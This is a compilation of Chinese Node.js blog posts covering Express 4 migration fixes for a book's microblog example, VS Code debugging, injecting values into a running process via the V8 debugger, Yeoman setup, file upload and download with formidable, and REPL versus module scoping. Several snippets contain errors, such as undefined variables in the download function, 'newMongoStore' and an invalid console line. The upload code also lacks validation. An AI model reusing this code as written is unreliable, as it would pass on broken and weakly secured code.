首先我们新建一个文件夹，用cmd进入文件夹，准备创建项目。按照书中提到的，创建项目的命令应该是：


    express -t ejs microblog



问题是express -t参数已经失效，最新的express版本的默认模板引擎是jade，所以为了使用ejs，我们需要像下面这样创建项目：


    express -e ejs microblog



按照书中所说的，我们直接运行代码：


    supervisor app.js



并且在浏览器中输入http://localhost:3000/，并不能看到书中需要的效果，而是需要在app.js中app.use('/', routes);后面添加：


     app.listen(3000);
     Console.log(something happening);



按照书中的步骤往下走，我们会发现一个问题，因为在views文件夹里面不是layout.ejs和index.ejs,这是因为，最新版本的express不支持ejs模块的partials方法，所以需要自己额外安装模块：


    npm install express-partials



然后在app.js中添加：


    var partials = require('express-partials');
app.use(partials());



需要注意的是，这一行要添加到app.set('view engine', 'ejs');后面，如果添加到app.use('/', routes);后面，会出现css引用失败的现象，博主还不明白原因。


这时候就可以在views中新建文件layout.ejs,然后复制书中112页的layout.ejs代码到我们新建的文件上面。然后运行代码，就能看到下面的效果了：





以上的步骤都不算什么问题，问题就出在连接数据库的一系列问题！如下所述：


为了执行下面的操作，我们首先需要安装MongoDB数据库，博主推荐这篇博客：http://be-evil.org/install-mongodb-on-windows7.html


看了不少安装MongoDB的博客，这个是博主见过最有效的。


　　对于新版本的express，按照书本上那样连接数据库会报错，连接数据库需要的文件时settings.js,这个按照书上的来没有问题，但是models中的db.js需要做一些改动。如果按照书中的代码：


    var settings = require('../settings');
    var Db = require('mongodb').Db;
    var Connection = require('mongodb').Connection;
    var Server = require('mongodb').Server;
    module.exports = new Db(settings.db, new Server(settings.host, Connection.DEFAULT_
    PORT, {}));



可能会出现下面的问题：


博主google之后，才发现需要按照下面的格式书写：


     var settings = require('../settings'),
         Db = require('mongodb').Db,
         Connection = require('mongodb').Connection,
         Server = require('mongodb').Server;
     module.exports = new Db(settings.db, new Server(settings.host, Connection.DEFAULT_PORT, {}), {safe: true});



在引用settings模块的时候，如果按照书中的：


    var settings = require('../settings');



会出现:





这是因为最新的express版本中需要这样引用这个模块：


    var settings = require('./settings');



但是解决了这个问题之后，相继出现了下面这个令人蛋疼的情况：





一开始我也是琢磨不透，但是google的时候，有一个哥们做了很好的解答：


http://www.cnblogs.com/yumianhu/p/3709558.html


也就是说,在express4中我们需要自己安装express-session包，然后添加引用：


    var session    = require('express-session');



原来的数据库引用也需要改成：


    var MongoStore = require('connect-mongo')(session);



而这些代码：


    app.use(express.session({
    secret: settings.cookie_secret,
    store:new MongoStore({
      db: settings.db
    })
}));




就需要改写成：


    app.use(session({
        secret: settings.cookie_secret,
        store: newMongoStore({
          db : settings.db,
        })
      }));



对于书中提到的视图交互，原本的代码是：


    app.dynamicHelpers({
        user: function(req, res) {
            return req.session.user;
        },
        error: function(req, res) {
            var err = req.flash('error');
            if (err.length)
                return err;
            else
                return null;
        },
        success: function(req, res) {
            var succ = req.flash('success');
            if (succ.length)
                return succ;
            else
                return null;
        },
    });



在最新版本的express中需要改成：


    app.use(function(req, res, next){
      console.log("app.usr local");
      res.locals.user = req.session.user;
      res.locals.post = req.session.post;
      var error = req.flash('error');
      res.locals.error = error.length ? error : null;

      var success = req.flash('success');
      res.locals.success = success.length ? success : null;
      next();
    });



注册页面中用到了flash，但是最新版本的express已经不支持flash了，你需要先使用npm install connect-flash。然后在app.js中添加如下代码:


    app.use(flash());



接下来按照书上的步骤走，基本不会出问题了，最后我们就能得到我们想要的效果啦~：





需要说明一下的是，跟着书本写这个小应用的时候，出现了很多问题，也就是上面遇到的很多问题，但是博主都是本着自主研究的精神不断google，终于跳出神坑，得到了最后的效果，希望看到这篇博客的朋友好好研读，也好好看看下面的链接，里面很可能也是你遇到的问题，如果你在跟着书本编写代码的过程中遇到了问题，欢迎一起交流~


参考资料：



	http://scotch.io/bar-talk/expressjs-4-0-new-features-and-upgrading-from-3-0

	http://be-evil.org/install-mongodb-on-windows7.html

	http://www.cnblogs.com/yumianhu/p/3709558.html

	http://cnodejs.org/topic/516f6d326d382773069ea7a5

	http://blog.sina.com.cn/s/blog_6591eb240101cmwm.html

	http://www.cnblogs.com/meteoric_cry/archive/2012/07/23/2604890.html
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Visual Studio Code之调试

全文翻译自官方Docs，更新至1.3版本。

VS Code一个重要特性是它有很好的调试支持，内置的调试器可以加速你的"编写-编译-调试"工作流。



调试器扩展

VS Code内置调试器支持调试Node.js运行时，同时也可以调试JavaScript、TypeScript以及其他JS转译语言。

如需调试其他语言与运行时(包括PHP, Ruby, Go, C#, Python等)，请前往VS Code市场寻找相应的Debuggers(调试器)扩展程序。

开始调试

下文将基于内置的Node.js调试来进行相关的说明，大部分的说明同样适用于其他调试器。

一则建议：开始阅读本文之前你可以尝试去创建一个简单的Node.js应用程序，然后一遍阅读本文一遍动手实验(这里有一篇文章可以教你如何安装Node.js并创建一个的"Hello World"程序Node.js Applications with VS Code)。

调试视图

单击VS Code左侧视图栏的调试图标即可打开调试视图。



调试视图顶部栏是调试相关的命令与配置，其下方是所有调试信息的展示。

启动配置

想要在VS Code中调试程序，需要先调整好调试的启动配置——launch.json。单击调试视图顶部栏中的齿轮图标，并选择好调试环境，VS Code会在.vscode目录下为你生成一份launch.json。

调试Node.js示例：

{
    "version": "0.2.0",
    "configurations": [
        {
            "name": "Launch",
            "type": "node",
            "request": "launch",
            "program": "${workspaceRoot}/app.js",
            "stopOnEntry": false,
            "args": [],
            "cwd": "${workspaceRoot}",
            "preLaunchTask": null,
            "runtimeExecutable": null,
            "runtimeArgs": [
                "--nolazy"
            ],
            "env": {
                "NODE_ENV": "development"
            },
            "externalConsole": false,
            "sourceMaps": false,
            "outDir": null
        },
        {
            "name": "Attach",
            "type": "node",
            "request": "attach",
            "port": 5858,
            "address": "localhost",
            "restart": false,
            "sourceMaps": false,
            "outDir": null,
            "localRoot": "${workspaceRoot}",
            "remoteRoot": null
        }
    ]
}

VS Code支持以调试模式启动应用，或调试一个已运行的应用。这取决于当前配置中request 的取值(attach还是launch)，这个属性是必需的，如果你忘记了如何赋值也没关系，填写时VS Code会提示你的。

上例configurations中编写了name为Launch和Attach的两种配置，视图顶部栏的下拉菜单可以指定需要以哪个配置运行，如果选择的是Launch，那么接着按下F5就可以启动调试了。

如需在启动调试前执行某个特定任务(task)，为preLaunchTask设置tasks.json中的任务名即可。

断点

单击编辑器侧边缘即可为所在行添加断点，调试时BREAKPOINTS区域中也可对断点进行操作(enable/disable/reapply)。


	断点正常显示为红色的圆


	被取消的断点是灰色的圆


	调试启动后，不能被注册的断点显示为灰色的圆圈






Reapply All Breakpoints命令可以让断点重置至其初始位置，这对于调试环境是lazy模式以及还没被执行的误置断点来说十分有帮助。

数据审查

调试视图的VARIABLES区域可以审查变量，也可以直接在源码上悬停鼠标来查看。变量和表达式的演算则显示在CALL STACK区域中。



在调试视图的WATCH区域也可以看到变量和表达式的演算。



调试控制台

在调试控制台可以计算表达式。打开调试控制台需要Open Console，该命令可以在调试视图顶部栏和命令面板中被找到(Ctrl+Shift+P)。



调试命令

调试一旦启动，编辑器顶部就会显示出调试命令栏。




	继续 / 暂停 F5


	跳过 F10


	进入 F11


	退出 Shift+F11


	重新开始 unassigned


	停止调试 Shift+F5




调试Node

Node控制台

调试Node时，默认启用的是VS Code内置的控制台。内置的调试控制台不支持输入，如果你需要从控制台输入，那么你应该使用外部控制台，在启动配置中设置externalConsole为true即可。

断点验证

出于性能的考虑，Node.js解析js文件中的函数时采用了“懒加载”模式。其结果是，未被Node.js解析的源码中的断点不会起作用。

这一点对于调试工作来说自然是不理想的，所以在调试时VS Code自动添加了--nolazy选项。这样就可以阻止延迟解析，并确保断点可以在代码运行前被正常地触发了。

--nolazy选项会导致启动时间大大增加，如果你不希望如此，添加--lazy来作为runtimeArgs的属性即可。

实际调试工作中，你可能会发现一些你设置的断点没有在预期位置被触发，而是跳到了下一个可执行行。为了避免混淆，VS Code将实时显示断点的位置（Node.js判断的）。在BREAKPOINTS区域，断点将显示出其被触发的位置以及其实际所在行：



启动一个已添加好断点的调试，或者在一个已运行的调试中添加了一个新的断点，断点都有可能会跳至其他位置。在Node.js解析完所有代码之后，使用BREAKPOINTS区域顶部的Reapply按钮可重置断点，可以让断点重新跳回到触发位置。



函数断点

除了能在源码内直接标记断点外，Node.js的调试现在还可以通过一个函数的名字来创建断点，这尤其适用于未翻阅源码但知道函数名的情况。

BREAKPOINTS区域的+可以添加函数断点，具体请看下图：



注意：函数断点的函数只能是已被定义的全局且non-native函数。



JavaScript源码关联

VS Code的Node.js调试器支持JavaScript源码映射关联，这将有助于调试一些转译语言，比如TypeScript和已被压缩过的JavaScript。有了源码关联，就可以直接在源码上标记断点了。如果源码映射被破坏或者源码没能成功映射到已生成的JS代码上，断点将显示为灰色的圆圈。

设置启动配置中的sourceMaps属性为true可以开启源码关联，关联的源码将允许单步调试以及在其中添加断点。另外，你可以使用program属性来指定源码文件（如：app.ts）。如果被生成的js文件并不是和源码在同一目录，而是分散放在了其他的路径中，你可以使用outDir属性来帮助调试器找到这些文件。无论何时你在转译语言源码中设置了断点，VS Code都会尝试在outDir目录下生成的JavaScript源码中找到相应位置去映射关联。

源码映射关联并不是自动创建的，你必须通过配置TypeScript编译器来完成：

tsc --sourceMap --outDir bin app.ts

TypeScript调试配置示例：

{
    "version": "0.2.0",
    "configurations": [
        {
            "name": "Launch TypeScript",
            "type": "node",
            "request": "attach",
            "program": "app.ts",
            "sourceMaps": true,
            "outDir": "bin"
        }
    ]
}

调试外部Node

如果想要使用VS Code的调试器来调试外部Node.js程序，在命令行如下操作：

node --debug program.js
node --debug-brk program.js

--debug-brk选项用于让程序停止在程序源码的第一行。

相应的启动配置示例：

{
    "version": "0.2.0",
    "configurations": [
        {
            "name": "Attach to Node",
            "type": "node",
            "request": "attach",
            "address": "localhost",
            "port": 5858,
            "restart": false
        }
    ]
}

restart属性用来控制Node.js调试器是否在调试结束后自动重启。如果你使用nodemon在文件改动时重启Node，restart属性就会显得很有用了。设置restart为true可以让node-debug自动在Node被终止时重连Node。

使用nodemon启动Node程序(server.js)

nodemon --debug server.js


提示：按下Stop按钮可以停止调试任务并断开与Node.js的连接，但nodemon(以及Node.js)仍会继续运行，如需停止nodemon，你需要在命令行中手动停止它。

提示：如果程序有语法错误，nodemon将不能正常启动Node，直到所有错误都被改正。如果发生了这种情况，VS Code将继续尝试连接Node，但会在10秒后放弃重试，当然，你可以通过timeout属性(毫秒值)来增加这个时间。



远程调试

通过address属性来指定远程主机(host)就可以用Node调试器远程调试了(Node.js版本 >= 4.x)。

默认地，VS Code会将远程的Node目录连接至本地VS Code，并将代码显示到一个只读的编辑器上。你可以单步调试这些代码，但不能修改它们。如果想去编辑源码，那么你需要映射远程和本地。attach启动配置中设置localRoot和remoteRoot属性可以映射远程和本地(支持不同操作系统之间的映射)。

常见问题

Q: 都支持哪些调试场景？

A: Linux、OS X以及Windows下支持调试Node.js程序。Linux、OS X下支持调试运行在Mono上的C#程序。ASP.NET 5应用程序的编译使用的是Roslyn而不是Mono，其调试可以通过VS Code扩展程序进行。

Q: 调试视图的下拉菜单里我并没有看到可选的启动配置啊？

A: 很有可能是因为launch.json文件还没有被生成，抑或是该文件中存在语法错误。

Q: Node调试需要什么版本的Node呢？

A: 推荐Node.js的LTS版。


 动态修改 NodeJS 程序中的变量值

作者：OneAPM蓝海讯通

来源： 动态修改 NodeJS 程序中的变量值



                    
如果一个 NodeJS 进程正在运行，有办法修改程序中的变量值么？答案是：通过 V8 的 Debugger 接口可以！本文将详细介绍实现步骤。


启动一个 HTTP Server


用简单的 Hello World 做例子吧，不过略作修改。在 global 下放一个变量 message， 然后打印出来：


// message content will be modified !
global.message = "hello world!";

var server = require('http').createServer(function (req, res) {
  res.end(global.message);
}).listen(8001);

console.log('pid = %d', process.pid);



用命令启动 Server，此时，通过用浏览器访问 http://localhost:8001 可以看到网页内容是 hello world!。 接下来我们将尝试在不改变代码，不重启进程的情况下把 message 换成 "hello bugs!"。


使 Server 进程进入 Debug 模式


V8 引擎在实现的时候留了 Debugger 接口。 通过命令 node --debug-brk=5858 [filename] 可以启动一个脚本，并且立即进入 Debug 模式。


那么如果是已经运行着的 NodeJS 程序，可以进入 Debug 模式吗？也是可以的，在操作系统下给 NodeJS 的进程发一个 SIGUSR1 信号，可以让进程进入 Debug 模式。 进入 Debug 模式的进程会在本地启动一个 TCP Server 并且默认监听5858 端口。


此时在另一个命令行窗口执行命令 node debug localhost:5858 就可以连接到 Debugger 调试端口， 并且可以使用很多常用的 Debug 命令，比如 c继续执行，s 步入， o步出等。


Debugger 协议


使用node debug hostname:port 命令连接到进程进行 Debug 的方式比较简单，但是要完成一些高级的功能就会处处受限，因为它只封装了 Debugger 协议中 command 的一部分。 下面介绍一下这个简单的协议。


Client 和 Server 的通讯是通过 TCP 进行的。 DebugClient 第一次连接到 DebugServer 的时候会拿到一些 Header，比如 Node 版本， V8 版本等。后面紧跟着一个空的消息1


消息1


Type: connect\r\n
V8-Version: 3.28.71.19\r\n
Protocol-Version: 1\r\n
Embedding-Host: node v0.12.4\r\n
Content-Length: 0\r\n
\r\n



消息实体由 Header 和 Body 组成，消息1的 Body 为空，所以 Header 中对应的 Content-Length 为 0。而在下面这个例子里，Body 为一个单行的 JSON 字符串，这是由协议所规定的。


消息2


Content-Length: 46\r\n
\r\n
{"command":"version","type":"request","seq":1}



消息2的类型( type )是request，代表这是 Client 发给 Server 的命令，其他的可能值是 response 和 event分别代表 Server 对 Client 的相应，和 Server 端发生的事件。


消息3


Content-Length: 137\r\n
\r\n
{"seq":1,"request_seq":1,"type":"response","command":"version","success":true,"body":{"V8Version":"3.28.71.19"},"refs":[],"running":true}



消息2是 Client 发送给 Server的，消息3是 Server 对 Client 的相应，那么如何判断消息3是不是消息2的结果呢？可以看到消息2中的 seq 值是1，而 消息3中的request_seq值是1。 Debugger 协议正是通过这两个值把异步返回的结果和请求一一对应起来的。


Debugger 协议就是这么的简单。


实例化一个 Debugger Client


了解了 Debugger 协议后，相信好奇心强的程序员已经跃跃欲试自己实现一个了。本着不重复发明轮子的原则开始在网上找实现，找了好久找到这个库 pDebug， 可惜这个库已经好久不更新了。后来通过阅读 node-inspector 的源码才发现，其实 NodeJS 自带了一个 Debugger 模块, 相关代码在 _debugger 模块里(源码)，由于模块名是以 _ 开头的，所以网上找不到它的 API，好在代码注释写的非常详细，很快就能上手。


我们需要的正是这个模块下的 Client， 而 Client 其实是继承于 Socket 的.


var Client = require('_debugger').Client;
var client = new Client();

client.connect(5858);
client.on('ready', function () {
    // 连接成功
});



通过 Debugger 接口执行命令


接下来我们来看看如何修改这个 global 的变量，代码如下


function modifyTheMessage(newMessage) {
    var msg = {
        'command': 'evaluate',
        'arguments': {
            'expression': 'global.message="' + newMessage + '"',
            'global': true
        }
    };
    client.req(msg, function (err, body, res) {
        console.log('modified to %s', newMessage);
    });
}



client.req方法封装了 type=request 消息类型 和seq 自增的逻辑，因此在构造 msg JSON对象的时候不需要指明这两个属性。 我们要修改 message 其实就是在 JavaScript 调用的顶层执行 global.message=newMessage


总结


此时，再访问http://localhost:8001 可以看到网页上显示的内容已经由 'hello world!' 变成了 'hello bugs!'，是不是很神奇。


这种方式也带来了很多可能性：



	动态修改配置

线上的服务器不用重启就可以应用新的配置


	模块注入

通过其他任意语言编写的应用程序为已经运行的 NodeJS 进程注入新的模块


	性能监控

可以剥离用户线上代码对第三方性能监控模块的直接依赖


	错误监控

发生异常时，通过 Debugger 可以抓到发生错误的函数和行号，并且抓取各个调用栈中的每一个变量，即使是在闭包里


	Chrome 调试

由于 Chrome 也是基于 V8 的，上述方法也可以用于 Chrome 相关的功能集成




关于



	本文相关的源码在： https://github.com/wyvernnot/interference_demo;


	如果你也对 Debugger 协议感兴趣，可以安装 oneapm-debugger 这个工具，它可以帮助你查看 Debug 过程中所有实际发送的数据。 oneapm-debugger






本文系OneAPM工程师王龑原创。想阅读更多技术文章，请访问OneAPM官方技术博客。


 前端自动化开发流程

作者：humingx

来源： 前端自动化开发流程



                    
安装 Node.js 和 npm


自行百度吧，我 Node.js 安装好久了, 最好还是看官方文档 。


安装 Yeoman


我这里很多时候都需要使用 sudo 身份运行 。


sudo npm install -g yo



检查是否安装成功 。


yo -v && bower -v && grunt --version



如果安装成功，应该打印出四个版本号 。





安装 angular 生成器


sudo npm install -g generator-angular



创建项目


mkdir myproject
cd myproject
sudo yo angular          // 以超级管理员的身份运行angular 生成器，避免用户权限问题 
// 下面的内容根据自身需要选择
No          // 不使用 Sass
Yes         // 使用 Bootstrap
enter       // 回车后等待它自己完成基本框架



过程如图:







应用目录：





启动服务器


grunt serve 





执行结果如图：同时将打开浏览器。










在终端按 Ctrl+c 可以退出。


测试项目


命令如下：


grunt test



执行结果如图：





上线前的优化


现在创建一个上线版本。 我们需要规范代码、跑测试、压缩JS和CSS代码（减少网络请求）、优化图片还有编译使用了预处理的代码，让我们的应用尽可能的精简。

非常神奇的是，上面的工作我们都能通过下面这行命令实现：


grunt 



这行命令会遍历Yeoman生成的Grunt任务和配置，然后创建出应用的过渡版本。过一会命令行中会显示出应用的结构和生成这个应用总共花费的时间，以及完成每一项任务所花费的时间。





此时我们应用的目录下就多了一个 dist 的文件夹。





如果想在本地查看这个应用的话，运行下面这行命令：


grunt serve:dist



它会生成你的项目并且启动本地的服务器。








参考资料


伯乐在线的翻译文章：Yeoman官方教程：用Yeoman和AngularJS做Web应用


 node.js实现上传与下载文件

作者：Monkey

来源： node.js实现上传与下载文件



                    
需求

最近在项目中遇到这样一个需求：上传和下载文件。具体情景如下：

A上传一份任务文件（文件类型不限）到网站上，B看到后下载文件，按照文件里的要求完成任务之后，B要把任务完成情况汇总到一个Excel文档中，上传到网站上（此时只能上传xls格式的excel文档），然后网站在后台对这份Excel文档的数据进行处理，生成一份新的Excel文档。



由于该项目是基于Node.js开发，所以，如何实现文件的上传下载功能呢？

实现

思路


	编写form表单页面


	引入formidable，解析表单数据


	编写业务逻辑函数




编写form表单页面

<!DOCTYPE html>
<html>
<head>
    <title>node.js实现表单上传与下载文件</title>
</head>
<body>
  <form action="/fileupload" method="post" enctype='multipart/form-data'  onsubmit="return checkTask(this)">
    <label for="resource">上传文档</label>
    <input type="file" id="resource" name="resource">
    <button type="submit">新建任务</button>
  </form>

  <a href="download/kkk">下载文件</a>
</body>
</html>

<form>标签中  enctype="multipart/form-data" 作用是设置表单的MIME编码。
默认情况，这个编码格式是application/x-www-form-urlencoded，不能用于文件上传；只有使用了multipart/form-data，才能完整的传递文件数据。
 enctype="multipart/form-data" 是上传二进制数据，form里面的input的值以2进制的方式传过去，所以request就得不到值了。

因此，我们要引入node.js的一个外部模块：formidable，对表单数据进行解析。

引入formidable，解析表单数据

通过npm引入formidable，npm上formidable的描述为：

A node.js module for parsing form data, especially file uploads.



	方式一：通过node命令引入：




npm install formidable

	方式二：编辑项目工程里的package.json文件：




{
  "name": "appname",
  "virsion": "0.0.1",
  "dependencies": {
    "express": "~4.8.8",
    "formidable": "1.0.14"
  }
}

执行node命令安装模块

npm install

编写业务逻辑函数

1.upload函数

新建一个文件：file.js

var formidable = require('formidable');
var fs = require('fs');  //node.js核心的文件处理模块

exports.upload = function(req, res, next){
  var message = '';
  var form = new formidable.IncomingForm();   //创建上传表单
    form.encoding = 'utf-8';        //设置编辑
    form.uploadDir = 'public/upload/';     //设置上传目录
    form.keepExtensions = true;     //保留后缀
    form.maxFieldsSize = 2 * 1024 * 1024;   //文件大小
  
  form.parse(req, function(err, fields, files) {
    if (err) {
      console.log(err);
    }  

    var filename = files.resource.name;

    // 对文件名进行处理，以应对上传同名文件的情况
      var nameArray = filename.split('.');
      var type = nameArray[nameArray.length-1];
      var name = '';
      for(var i=0; i<nameArray.length-1; i++){
          name = name + nameArray[i];
      }
      var rand = Math.random()*100 + 900;
      var num = parseInt(rand, 10);

      var avatarName = name + num +  '.' + type;

    var newPath = form.uploadDir + avatarName ;
    fs.renameSync(files.resource.path, newPath);  //重命名
  });
};

没有意外的话，文件就上传成功了。

2.download函数 

在file.js文件代码末端加入：

exports.download = function(req, res){
  var path = 'public/upload/file.txt';  // 文件存储的路径

  // filename:设置下载时文件的文件名，可不填，则为原名称
  res.download(filepath, filename); 
};

因为该项目应用了Express（一个基于node.js的Web开发框架），其对request，response对象进行了封装，所以可以直接调用封装好了的res对象的download方法，来下载文件。

接下来，在路由控制文件route.js里加入代码：

var file = require("file.js");  //此时，route.js与file.js处于同个目录下

app.post('/fileupload', file.upload);
app.get('/download/:id', file.download);  //结合表单页面的<a>标签，里面的kkk是指该文件的id

因为express进行了路由控制，不是像php，asp原生那样请求路径对应于文件路径。除了static资源，其它的请求路径都要配置。所以，在上面针对上传和下载都配置了对应的路由规则。

这样下来，文件的上传和下载功能基本实现，具体的扩展和修改看根据项目具体的需求来调整。


 Node.js 启动方式：一道关于全局变量的题目引发的思考

作者：XadillaX

来源： Node.js 启动方式：一道关于全局变量的题目引发的思考



                    
原文链接：https://xcoder.in/2015/11/26/a-js-problem-about-global/



原题

题目是这样的。

var a = 2;
function foo(){
    console.log(this.a);
}

foo();

上题由我们亲爱的小龙童鞋发现并在我们的 901 群里提问的。



经过

然后有下面的小对话。


小龙：你们猜这个输出什么？

弍纾：2

力叔：2 啊

死月·絲卡蕾特：2

力叔：有什么问题么？

小龙：输出 undefind。

死月·絲卡蕾特：你确定？

小龙：是不是我电脑坏了

力叔：你确定？

弍纾：你确定？

小龙：为什么我 node 文件名跑出来的是 undefined？

郑昱：-.- 一样阿。undefined



以上就是刚见到这个题目的时候群里的一个小讨论。

分析

后来我就觉得奇怪，既然小龙验证过了，说明他也不是随地大小便，无的放矢什么的。

于是我也验证了一下，不过由于偷懒，没有跟他们一样写在文件里面，而是直接 node 开了个 REPL 来输入上述代码。


结果是 2！

结果是 2！

结果是 2！



于是这就出现了一个很奇怪的问题。

尼玛为毛我是 2 他们俩是 undefined 啊！

不过马上我就反应过来了——我们几个的环境不同，他们是 $ node foo.js 而我是直接 node 开了个 REPL，所以有一定的区别。

而力叔本身就是前端大神，我估计是以 Chrome 的调试工具下为基础出的答案。

REPL vs 文件执行

其实上述的问题，需要解释的问题大概就是 a 到底挂在哪了。

因为细细一想，在 function 当中，this 指向的目标是 global 或者 window。

还无法理解上面这句话的童鞋需要先补一下基础。



那么最终需要解释的就是 a 到底有没有挂在全局变量上面。

这么一想就有点细思恐极的味道了——如果在 node 线上运行环境里面的源代码文件里面随便 var 一个变量就挂到了全局变量里面那是有多恐怖！

于是就有些释然了。

但究竟是什么原因导致 REPL 和文件执行方式不一样的呢？

全局对象的属性

首先是弍纾找出了阮老师 ES6 系列文章中的全局对象属性一节。


全局对象是最顶层的对象，在浏览器环境指的是 window 象，在 Node.js 指的是 global 对象。ES5 之中，全局对象的属性与全局变量是等价的。

window.a = 1;
a // 1

a = 2;
window.a // 2

上面代码中，全局对象的属性赋值与全局变量的赋值，是同一件事。（对于Node来说，这一条只对REPL环境适用，模块环境之中，全局变量必须显式声明成global对象的属性。）



有了阮老师的文章验证了这个猜想，我可以放心大胆继续看下去了。

repl.js

知道了上文的内容之后，感觉首要查看的就是 Node.js 源码中的 repl.js 了。

先是结合了一下自己以前用自定义 REPL 的情况，一般的步骤先是获取 REPL 的上下文，然后在上下文里面贴上各种自己需要的东西。

var r = relp.start(" ➜ ");
var c = r.context;

// 在 c 里面贴上各种上下文
c.foo = bar;
// ...

关于自定义 REPL 的一些使用方式可以参考下老雷写的《Node.js 定制 REPL 的妙用》。



有了之前写 REPL 的经验，大致明白了 REPL 里面有个上下文的东西，那么在 repl.js 里面我们也找到了类似的代码。

REPLServer.prototype.createContext = function() {
  var context;
  if (this.useGlobal) {
    context = global;
  } else {
    context = vm.createContext();
    for (var i in global) context[i] = global[i];
    context.console = new Console(this.outputStream);
    context.global = context;
    context.global.global = context;
  }

  context.module = module;
  context.require = require;

  this.lines = [];
  this.lines.level = [];

  // make built-in modules available directly
  // (loaded lazily)
  exports._builtinLibs.forEach(function(name) {
    Object.defineProperty(context, name, {
      get: function() {
        var lib = require(name);
        context._ = context[name] = lib;
        return lib;
      },
      // allow the creation of other globals with this name
      set: function(val) {
        delete context[name];
        context[name] = val;
      },
      configurable: true
    });
  });

  return context;
};

看到了关键字 vm。我们暂时先不管 vm，光从上面的代码可以看出，context 要么等于 global，要么就是把 global 上面的所有东西都粘过来。

然后顺带着把必须的两个不在 global 里的两个东西 require 和 module 给弄过来。

下面的东西就不需要那么关心了。

VM

接下去我们来讲讲 vm。

VM 是 node 中的一个内置模块，可以在文档中看到说明和使用方法。

大致就是将代码运行在一个沙箱之内，并且事先赋予其一些 global 变量。

而真正起到上述 var 和 global 区别的就是这个 vm 了。

vm 之中在根作用域（也就是最外层作用域）中使用 var 应该是跟在浏览器中一样，会把变量粘到 global（浏览器中是 window）中去。

我们可以试试这样的代码：

var vm = require('vm');
var localVar = 'initial value';

vm.runInThisContext('var localVar = "vm";');
console.log('localVar: ', localVar);
console.log('global.localVar: ', global.localVar);

其输出结果是：

localVar: initial value
global.localVar: vm

如文档中所说，vm 的一系列函数中跑脚本都无法对当前的局部变量进行访问。各函数能访问自己的 global，而 runInThisContext 的 global 与当前上下文的 global 是一样的，所以能访问当前的全局变量。

所以出现上述结果也是理所当然的了。

所以在 vm 中跑我们一开始抛出的问题，答案自然就是 2 了。

var vm = require("vm");
var sandbox = {
    console: console
};

vm.createContext(sandbox);
vm.runInContext("var a = 2;function foo(){console.log(this.a);}foo();", sandbox);

Node REPL 启动的沙箱

最后我们再只需要验证一件事就能真相大白了。

平时我们自定义一个 repl.js 然后执行 $ node repl.js 的话是会启动一个 REPL，而这个 REPL 会去调 vm，所以会出现 2 的答案；或者我们自己在代码里面写一个 vm 然后跑之前的代码，也是理所当然出现 2。

那么我们就输入 $ node 来进入的 REPL 跟我们之前讲的 REPL 是不是同一个东西呢？

如果是的话，一切就释然了。

首先我们进入到 Node 的入口文件——C++ 的 int main()。

它在 Node.js 源码 src/node_main.cc 之中。

int main(int argc, char *argv[]) {
  setvbuf(stderr, NULL, _IOLBF, 1024);
  return node::Start(argc, argv);
}

就在主函数中执行了 node::Start。而这个 node::Start 又存在 src/node.cc 里面。

然后在 node::Start 里面又调用 StartNodeInstance，在这里面是 LoadEnvironment 函数。

最后在 LoadEnvironment 中看到了几句关键的语句：

Local<String> script_name = FIXED_ONE_BYTE_STRING(env->isolate(), "node.js");
Local<Value> f_value = ExecuteString(env, MainSource(env), script_name);

//...

Local<Function> f = Local<Function>::Cast(f_value);

//...
Local<Object> global = env->context()->Global();

//...
Local<Value> arg = env->process_object();
f->Call(global, 1, &arg);

还有这么一段关键的注释。

// Now we call 'f' with the 'process' variable that we've built up with
// all our bindings. Inside node.js we'll take care of assigning things to
// their places.

// We start the process this way in order to be more modular. Developers
// who do not like how 'src/node.js' setups the module system but do like
// Node's I/O bindings may want to replace 'f' with their own function.

也就是说，启动 node 的时候，在做了一些准备之后是开始载入执行 src 文件夹下面的 node.js 文件。

在 92 行附近有针对 $ node foo.js 和 $ node 的判断启动不同的逻辑。

  // ...
} else if (process.argv[1]) {
  // make process.argv[1] into a full path
  var path = NativeModule.require('path');
  process.argv[1] = path.resolve(process.argv[1]);

  var Module = NativeModule.require('module');

  // ...

  startup.preloadModules();
  if (global.v8debug &&
      process.execArgv.some(function(arg) {
        return arg.match(/^--debug-brk(=[0-9]*)?$/);
      })) {
    var debugTimeout = +process.env.NODE_DEBUG_TIMEOUT || 50;
    setTimeout(Module.runMain, debugTimeout);
  } else {
    // Main entry point into most programs:
    Module.runMain();
  }
} else {
  var Module = NativeModule.require('module');

  if (process._forceRepl || NativeModule.require('tty').isatty(0)) {
    // REPL
    var cliRepl = Module.requireRepl();
    cliRepl.createInternalRepl(process.env, function(err, repl) {
      // ...
    });
  } else {
    // ...
  }
}

在上述节选代码的第一个 else if 中，就是对 $ node foo.js 这种情况进行处理了，再做完各种初始化之后，使用 Module.runMain(); 来运行入口代码。

第二个 else if 里面就是 $ node 这种情况了。

我们在终端中打开 $ node 的时候，TTY 通常是关连着的，所以 require('tty').isatty(0) 为 true，也就是说会进到条件分支并且执行里面的 cliRepl 相关代码。

我们进入到 lib/module.js 看看这个 Module.requireRepl 是什么东西。

Module.requireRepl = function() {
  return Module._load('internal/repl', '.');
}

所以我们还是得转入 lib/internal/repl.js 来一探究竟。

上面在 node.js 里面我们看到它执行了这个 cliRepl 的 createInternalRepl 函数，它的实现大概是这样的：

function createRepl(env, opts, cb) {
  // ...

  opts = opts || {
    ignoreUndefined: false,
    terminal: process.stdout.isTTY,
    useGlobal: true
  };

  // ...

  opts.replMode = {
    'strict': REPL.REPL_MODE_STRICT,
    'sloppy': REPL.REPL_MODE_SLOPPY,
    'magic': REPL.REPL_MODE_MAGIC
  }[String(env.NODE_REPL_MODE).toLowerCase().trim()];

  // ...

  const repl = REPL.start(opts);

  // ...
}

转头一看这个 lib/internal/repl.js 顶端的模块引入，赫然看到一句话：

const REPL = require('repl');

真相大白。

小结

　　最后再梳理一遍。

　　在于 Node.js 的 vm 里面，顶级作用域下的 var 会把变量贴到 global 下面。而 REPL 使用了 vm。然后 $ node 进入的一个模式就是一个特定参数下面启动的一个 REPL。

　　所以我们一开始提出的问题里面在 $ node foo.js 模式下执行是 undefined，因为不在全局变量上，但是启用 $ node 这种 REPL 模式的时候得到的结果是 2。

番外

小龙：我用 node test.js 跑出来是 a: undefined；那我应该怎么修改“环境”，来让他跑出：a: 2 呢？



　　于是有了上面写的那段代码。

var vm = require("vm");
var sandbox = {
    console: console
};

vm.createContext(sandbox);
vm.runInContext("var a = 2;function foo(){console.log(this.a);}foo();", sandbox);
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前言

